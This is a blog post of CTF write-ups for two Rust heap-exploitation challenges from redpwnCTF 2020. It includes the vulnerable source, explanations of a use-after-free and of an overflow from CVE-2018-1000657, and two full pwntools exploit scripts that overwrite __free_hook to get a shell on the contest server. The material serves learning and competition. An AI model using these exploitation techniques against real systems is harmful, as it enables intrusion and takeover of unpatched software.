Search This Blog

Thursday, June 25, 2020

RedpwnCTF 2020 Rust Pwn Writeups (Tetanus, Tetanus Shot)

During redpwnCTF 2020, there were 2 Rust pwnables. The first one was quite trivial with an unsafe block of code, but the second one was much more interesting and subtle. Since Rust is notoriously difficult to reverse, the author Poortho was nice enough to give us source.

Tetanus:
Libc was version 2.30 (the Rust pwns were written to use the system allocator), meaning we will have to consider the extra double free protections added onto tcache since 2.28. Here was the source:

#![feature(alloc_system)]

#![allow(while_true)]

extern crate alloc_system;

use std::collections::VecDeque;
use std::io;
use std::process;
use std::io::Write;
use std::ptr;

fn menu() {
    println!("1. Create a list");
    println!("2. Delete a list");
    println!("3. Edit a list");
    println!("4. Prepend to list");
    println!("5. Append to list");
    println!("6. View an element");
    println!("7. Exit");
}

fn create(lists: &mut Vec<VecDeque<i64>>) {
    println!("How big should this list be?");
    let mut list_size = String::new();
    prompt();
    io::stdin()
        .read_line(&mut list_size)
        .expect("failed to read input.");
    let list_size: usize = list_size.trim().parse().expect("invalid input");

    let new_vecdeque = VecDeque::with_capacity(list_size);

    lists.push(new_vecdeque);

    println!("Done!");
}

fn delete(lists: &mut Vec<VecDeque<i64>>) {
    println!("Which list do you want to delete?");
    let mut list_i = String::new();
    prompt();
    io::stdin()
        .read_line(&mut list_i)
        .expect("failed to read input.");
    let list_i: usize = list_i.trim().parse().expect("invalid input");

    let vec_deque: &mut VecDeque<i64> = lists.get_mut(list_i).unwrap();

    unsafe {
        ptr::drop_in_place(vec_deque);
    }

    println!("Done!");
}

fn edit(lists: &mut Vec<VecDeque<i64>>) {
    println!("Which list do you want to edit?");
    let mut list_i = String::new();
    prompt();
    io::stdin()
        .read_line(&mut list_i)
        .expect("failed to read input.");
    let list_i: usize = list_i.trim().parse().expect("invalid input");

    let vec_deque: &mut VecDeque<i64> = lists.get_mut(list_i).unwrap();

    println!("Okay, which element do you want to edit?");
    let mut list_i = String::new();
    prompt();
    io::stdin()
        .read_line(&mut list_i)
        .expect("failed to read input.");
    let list_i: usize = list_i.trim().parse().expect("invalid input");

    let element = vec_deque.get_mut(list_i).unwrap();
 
    println!("What do you want to set it to?");
    let mut new_val = String::new();
    prompt();
    io::stdin()
        .read_line(&mut new_val)
        .expect("failed to read input.");
    let new_val: i64 = new_val.trim().parse().expect("invalid input");

    *element = new_val;
}

fn prepend(lists: &mut Vec<VecDeque<i64>>) {
    println!("Which list do you want to prepend to?");
    let mut list_i = String::new();
    prompt();
    io::stdin()
        .read_line(&mut list_i)
        .expect("failed to read input.");
    let list_i: usize = list_i.trim().parse().expect("invalid input");

    let vec_deque: &mut VecDeque<i64> = lists.get_mut(list_i).unwrap();

    println!("How many elements do you want to prepend?");
    let mut num_new = String::new();
    prompt();
    io::stdin()
        .read_line(&mut num_new)
        .expect("failed to read input.");
    let num_new: usize = num_new.trim().parse().expect("invalid input");

    vec_deque.reserve(num_new);

    let mut c = 0;
    while c < num_new {

        println!("What value should be inserted?");
        let mut new_el = String::new();
        prompt();
        io::stdin()
            .read_line(&mut new_el)
            .expect("failed to read input.");
        let new_el: i64 = new_el.trim().parse().expect("invalid input");

        vec_deque.push_front(new_el);

        c += 1;
    }
}

fn append(lists: &mut Vec<VecDeque<i64>>) {
    println!("Which list do you want to append to?");
    let mut list_i = String::new();
    prompt();
    io::stdin()
        .read_line(&mut list_i)
        .expect("failed to read input.");
    let list_i: usize = list_i.trim().parse().expect("invalid input");

    let vec_deque: &mut VecDeque<i64> = lists.get_mut(list_i).unwrap();

    println!("How many elements do you want to append?");
    let mut num_new = String::new();
    prompt();
    io::stdin()
        .read_line(&mut num_new)
        .expect("failed to read input.");
    let num_new: usize = num_new.trim().parse().expect("invalid input");

    vec_deque.reserve(num_new);

    let mut c = 0;
    while c < num_new {

        println!("What value should be inserted?");
        let mut new_el = String::new();
        prompt();
        io::stdin()
            .read_line(&mut new_el)
            .expect("failed to read input.");
        let new_el: i64 = new_el.trim().parse().expect("invalid input");

        vec_deque.push_back(new_el);

        c += 1;
    }
}

fn view(lists: &mut Vec<VecDeque<i64>>) {
    println!("Which list do you want to view?");
    let mut list_i = String::new();
    prompt();
    io::stdin()
        .read_line(&mut list_i)
        .expect("failed to read input.");
    let list_i: usize = list_i.trim().parse().expect("invalid input");

    let vec_deque: &mut VecDeque<i64> = lists.get_mut(list_i).unwrap();

    println!("Which element do you want to view?");
    let mut list_i = String::new();
    prompt();
    io::stdin()
        .read_line(&mut list_i)
        .expect("failed to read input.");
    let list_i: usize = list_i.trim().parse().expect("invalid input");

    let element = vec_deque.get_mut(list_i).unwrap();

    println!("Value: {}", element);
}

fn prompt() {
    print!("> ");
    io::stdout().flush().unwrap();
}

fn main() {
    let mut lists: Vec<VecDeque<i64>> = Vec::new();

    println!("Welcome to my rustic service, which lets you manipulate lists at will!");
    while true {
        menu();
        prompt();
        let mut choice = String::new();
        io::stdin()
            .read_line(&mut choice)
            .expect("failed to read input.");
        let choice: i32 = choice.trim().parse().expect("invalid input");

        match choice {
            1 => create(&mut lists),
            2 => delete(&mut lists),
            3 => edit(&mut lists),
            4 => prepend(&mut lists),
            5 => append(&mut lists),
            6 => view(&mut lists),
            7 => {
                println!("Bye!");
                process::exit(0);
            },
            _ => println!("Invalid choice!"),
        }
    }
}

We basically have a Vector of VectorDeques that hold 64 bit integers. We can add a VecDeq, delete a VecDeq, view an element of the VecDeq, prepend X amounts of  elements to a VecDeq, append X amounts of elements to a VecDeq, and edit a specific element of a VecDeq. The vulnerability is pretty obvious and trivial. We have a UAF in the delete function as it uses unsafe code that frees but still leaves the pointer to the VecDeq in our list. Do be aware that whatever size you want for the chunks does not necessarily return the same sized chunk like in C since Rust does its own decision making for sizes and that Rust makes generous use of the heap so there will be many chunks around.

To obtain a libc leak, we allocate a chunk that is out of tcache range, append a few elements to give the VecDeq valid elements, free it (tcache metadata will overwrite the elements contents), and then you can view it for a libc leak (as the VecDeq is still there technically). We can also grab a heap leak with a similar idea but freeing two chunks of the same size into the tcache (heap leak wasn't necessary in the end, but I just left it in my exploit).

By appending a few items to the last freed tcache chunk before it is freed, we can have a VecDeq there, from which we can edit elements after free. To double free this chunk afterwards, I edited its index 1 to overwrite the pointer used in the tcache key check, thereby beating this modern libc double free protection mechanism. Afterwards, we can simply overwrite __free_hook - 8 with /bin/sh + system with classic tcache poisoning and pop a shell with a call to free.

Here is the final exploit:

from pwn import *

IP = "2020.redpwnc.tf"
PORT = 31069

bin = ELF('./tetanus')
libc = ELF('./libc.so.6')
context(arch='amd64')
p = remote(IP, PORT)

def wait():
p.recvrepeat(0.3)

def alloc(size):
wait()
p.sendline('1')
wait()
p.sendline(str(size))

def free(index):
wait()
p.sendline('2')
wait()
p.sendline(str(index))

def append(index, values):
wait()
p.sendline('5')
wait()
p.sendline(str(index))
wait()
p.sendline(str(len(values)))
for v in values:
wait()
p.sendline(str(v))

def prepend(index, values):
wait()
p.sendline('4')
wait()
p.sendline(str(index))
wait()
p.sendline(str(len(values)))
for v in values:
wait()
p.sendline(str(v))

def view(index, subindex):
wait()
p.sendline('6')
wait()
p.sendline(str(index))
wait()
p.sendline(str(subindex))

def edit(index, subindex, data):
wait()
p.sendline('3')
wait()
p.sendline(str(index))
wait()
p.sendline(str(subindex))
wait()
p.sendline(str(data))

alloc(0x80) #0
append(0, [0x4141414141414141]*4)
free(0)
view(0, 0)
libcleak = int(p.recvline().split(' ')[1]) - 0x1eabe0
libc.address = libcleak
log.info("libc base %s " % hex(libcleak))
alloc(0x10) #1
append(1, [0x4141414141414141]*2)
alloc(0x10) #2
append(2, [0x4141414141414141]*2)
free(1)
free(2)
view(2, 0)
heapleak = int(p.recvline().split(' ')[1]) - 0x2d10
log.info("heap base %s " % hex(heapleak))
edit(2, 1, 0)
free(2)
edit(2, 1, 0)
free(2)
alloc(0x10) #3
append(3, [libc.symbols['__free_hook']-8])
alloc(0x10) #4
alloc(0x10) #5
append(5, [0x68732f6e69622f, libc.symbols['system']])
p.interactive()


Tetanus Shot:
This one was a much more interesting problem. Looking at the code, it is basically the same thing as the previous binary, but without any unsafe code. The following is the only difference:

Wait... no unsafe blocks in Rust, which is known for being a "safe" language... I stared at this code for one to two hours trying to find something subtle, but nothing came up. However, when I ran strings on the binary, I did see rustc version 1.19 nightly; I thought that this could be a compiler dependent bug/CVE. Looking around, I came across this CVE (OOB write in Rust's VecDeque::reserve()), and our version seems to be an older unpatched one.

To quote the website, "The main cause of CVE-2018-1000657 is the confusion between VecDeque's internal buffer capacity with its user-facing capacity in VecDeque::reserve() function." It then details how one can abuse this to help overflow the heap and provides a really neat POC you can just follow to recreate the bug with with_capacity(), push_front(), push_back(), and reserve().

The code here fits that CVE perfectly. Before append and prepend functions, we can specify a size to reserve and then do push back/push front accordingly for an amount of times equal to the specified time. However, I didn't seem to be able to obtain the N/2 overflow where N is the size of the internal buffer as the CVE mentioned; I was only able to obtain an 8 byte overflow into the next chunk's size field. Perhaps this is because we are required to push_back() the same number elements as we reserved (the POC was able to reserve a certain amount, and then only push_back() one element, and then repeat)? Regardless, an 8 byte write is still enough to pwn.

To create the overflow, we can create a VecDeq with capacity N, call push_front() twice, and then push_back(), and then reserve with size N-3 and then push_back() again; in this program, we will have to type N-3 elements immediately afterwards.

First off, what we want is to have 6 chunks for VecDeqs placed in memory consecutively. This way, Rust's other allocations won't get in the way. This part just took some debugging, heap viewing, and intuition to get correct. I allocated VecDeq sizes of 50 (0x211 real chunk size), 100 (0x411 real chunk size), and 150 (0x811 real chunk size). I had them lined up in the following order: 50, 50, 100, 50, 50, 150 (I will refer to them as chunk 1, 2, 3, 4, 5, 6 for the sake of this writeup). I also had a few chunks (0x211) afterwards in my final exploit to help fix the tcache count when tcache poisoning and to prevent the possibility of coalesced chunks.

Taking the first 3 chunks for example, I can 8 byte overflow from chunk 1 to chunk 2 to change its size to 0x411. I also spammed the 3rd chunk with 0x21 to pass the libc check for chunks below when we free the second chunk. Now, when we allocate for a VecDeq of size 100 after we free chunk 2, we get back the second chunk, but this time as size 0x411, allowing us to overlap the chunk below. This technique is the same for chunks 4, 5, 6 and can be done for both the libc leak and the final write what where.

Chunks 4, 5, 6 were used for the libc leak. When the chunks got overlapped, I appended many elements on chunk 5 until I covered the location where heap metadata would go for Chunk 6. Then I freed Chunk 6, and can view the leak from chunk 5 using view().

Chunks 1,2,3 were used for the shell popping. When the chunks got overlapped, I appended many elements on chunk 2 until I covered the location where heap metadata would go for Chunk 3. I then freed the other size 0x211 chunks i had allocated below chunk 6 earlier, and then freed Chunk 3 (to help us pass the tcache count check when performing a tcache poisoning attack). Using Chunk 2, I can now change the fd pointer in Chunk 3, and tcache poison, which will allow us to get a write what where primitive. Once again, I chose __free_hook - 8 to write with /bin/sh and system, then called delete() to trigger free() and pop a shell.

Here is my final exploit with comments (I should have kept track of the indices with scripting instead of by hand due to the shifting indices from VecDeque removal, but it was getting really late during the CTF):

from pwn import *

IP = "2020.redpwnc.tf"
PORT = 31754

bin = ELF('./tetanus_shot')
libc = ELF('./libc.so.6')
context(arch='amd64')
p = remote(IP, PORT)

'''
https://gts3.org/2019/cve-2018-1000657.html
want to call VecDeque::with_capacity(N)
call push front twice
call push back 0
reserve N-3
now using push back you can overflow
'''

def wait():
p.recvrepeat(0.1)

def alloc(size):
p.sendlineafter('>', '1')
p.sendlineafter('>', str(size))

def free(index):
p.sendlineafter('>','2')
p.sendlineafter('>',str(index))

def append(index, values): #push back
p.sendlineafter('>', '5')
p.sendlineafter('>', str(index))
p.sendlineafter('>', str(len(values)))
for v in values:
p.sendlineafter('>', str(v))

def prepend(index, values): #push front
p.sendlineafter('>', '4')
p.sendlineafter('>', str(index))
p.sendlineafter('>', str(len(values)))
for v in values:
p.sendlineafter('>', str(v))

def view(index, subindex):
p.sendlineafter('>', '6')
p.sendlineafter('>', str(index))
p.sendlineafter('>', str(subindex))

def edit(index, subindex, data):
p.sendlineafter('>','3')
p.sendlineafter('>', str(index))
p.sendlineafter('>', str(subindex))
p.sendlineafter('>', str(data))

#messing with heap to help get me a consecutive region of chunks in memory
for i in range(10):
alloc(200)
for i in range(10):
free(0)

alloc(50) #0
alloc(50) #1
alloc(50) #2

alloc(50) #3


#grouped together consecutively in memory
#rce tcache poison portion
alloc(50) #4
alloc(50) #5
alloc(100) #6
#libc leak portion
alloc(50) #7
alloc(50) #8
alloc(150) #9

alloc(100) #10, to save for a later free
alloc(100) #11 to save for a later free

#at this point, we have 6 chunks close to each other
'''
Allocated chunk | PREV_INUSE 1-3 for the later write what where
Addr: 0x5641ae58c900
Size: 0x211

Allocated chunk | PREV_INUSE
Addr: 0x5641ae58cb10
Size: 0x211

Allocated chunk | PREV_INUSE
Addr: 0x5641ae58cd20
Size: 0x411

Allocated chunk | PREV_INUSE 4-6 for the libc leak
Addr: 0x5641ae58d130
Size: 0x211

Allocated chunk | PREV_INUSE
Addr: 0x5641ae58d340
Size: 0x211

Allocated chunk | PREV_INUSE
Addr: 0x5641ae58d550
Size: 0x811
'''
#7:A
#8:B
#9:C

#8 byte overflowing
prepend(7, [0x4141414141414141]*2)
append(7, [0])
append(7, [0x411]*47)

append(9, [0x21]*70)
free(8)
alloc(100)
#7:A
#8:C
#11:B
append(11, [0x4141414141414141] * 64 + [0, 0x811, 0x1337, 0x1337])
free(8)
#B is 10 now
view(10, 67)
libc.address = int(p.recvline().split(' ')[2]) - 0x1eabe0
log.info("libc base: %s" % hex(libc.address))

# now time for RCE
#4: A
#5: B
#6: C

#8 byte overflowing
prepend(4, [0x4141414141414141]*2)
append(4, [0])
append(4, [0x411]*47)

append(6, [0x21]*70)
free(5)
alloc(100) #B is 10
append(10, [0x4141414141414141] * 64 + [0, 0x411, 0x1337, 0x1337, 0x1337, 0x1337])
free(8) #B is 9
free(7) #B is 8
free(5) #B is 7
edit(7, 66, libc.symbols['__free_hook'] - 8)
alloc(100)
alloc(100) #9
append(9, [0x68732f6e69622f, libc.symbols['system']])
free(0)

p.interactive()

Due to my relatively large chunk sizes, my exploit had to send a lot of data, and remote took around 5-6 minutes to run. These two pwns were very cool, and my first time pwning non C binaries! Thanks to Poortho for making these.

No comments:

Post a Comment